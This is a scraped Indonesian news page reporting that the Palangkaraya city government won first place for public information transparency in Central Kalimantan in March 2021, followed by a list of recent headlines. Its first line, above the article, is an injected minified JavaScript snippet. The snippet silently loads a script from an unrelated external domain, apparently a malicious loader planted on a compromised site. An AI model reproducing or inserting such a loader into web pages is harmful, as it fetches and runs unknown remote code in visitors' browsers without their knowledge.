(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Palangkaraya Raih Peringkat Satu Keterbukaan Informasi Publik Tingkat Provinsi Kalteng


KANALKALIMANTAN.COM, PALANGKARAYA– Pemko Palangkaraya meraih peringkat satu penghargaan menuju informatif kategori Pejabat Pengelola Informasi dan Dokumentasi (PPID) utama kabupaten/kota di Kalimantan Tengah.

Plakat penganugerahan keterbukaan informasi badan publik diberikan Sekda Kalteng Fahrizal Fitri kepada Wali Kota Palangkaraya, di Aula Eka Hapakat Kantor Gubernur, Senin (15/3/2021).

Usai kegiatan, Wali Kota Palangkaraya Fairid Naparin mengatakan, penghargaan itu akan semakin memperkuat komitmen dalam melaksanakan UU nomor 14 tahun 2008.

“Mudah-mudahan penghargaan ini dapat mewujudkan good governance di Pemko Palangkaraya,” ujar Fairid.

Penghargaan itu bukanlah hasil kerjanya sendiri, tetapi kerja sama seluruh jajaran Pemko Palangkaraya.

Ketua Komisi Informasi Kalteng Daan Rismon menjelaskan, rangkaian monitoring dan evaluasi sampai dengan penganugerahan keterbukaan informasi publik berdasarkan Peraturan Komisi Informasi No 5/2016 tentang metode dan teknik evaluasi keterbukaan informasi badan publik dan petunjuk teknik lainnya dari Komisi Informasi pusat.

Proses ini telah dimulai oleh Komisi Informasi Kalimantan Tengah sejak Juni hingga Desember 2020. Dengan mengikutsertakan 46 badan/dinas/perangkat daerah lainnya yang merupakan badan publik di lingkungan Pemprov Kalteng.

Kemudian 21 badan publik/lembaga vertikal, dan 14 PPID utama kabupaten/Kota yang mewakili badan publik kabupaten/kota di Kalimantan Tengah.

Sementara itu Sekda Kalteng Fahrizal Fitri mengatakan, penganugerahan bertujuan untuk mengevaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik.

Selain itu mewujudkan hasil evaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik yang sesuai dengan peraturan perundang-undangan yang berlaku. (kanalkalimantan.com/tri)

 

Reporter : Tri
Editor : Cell

 

 


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

12 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

12 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

14 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.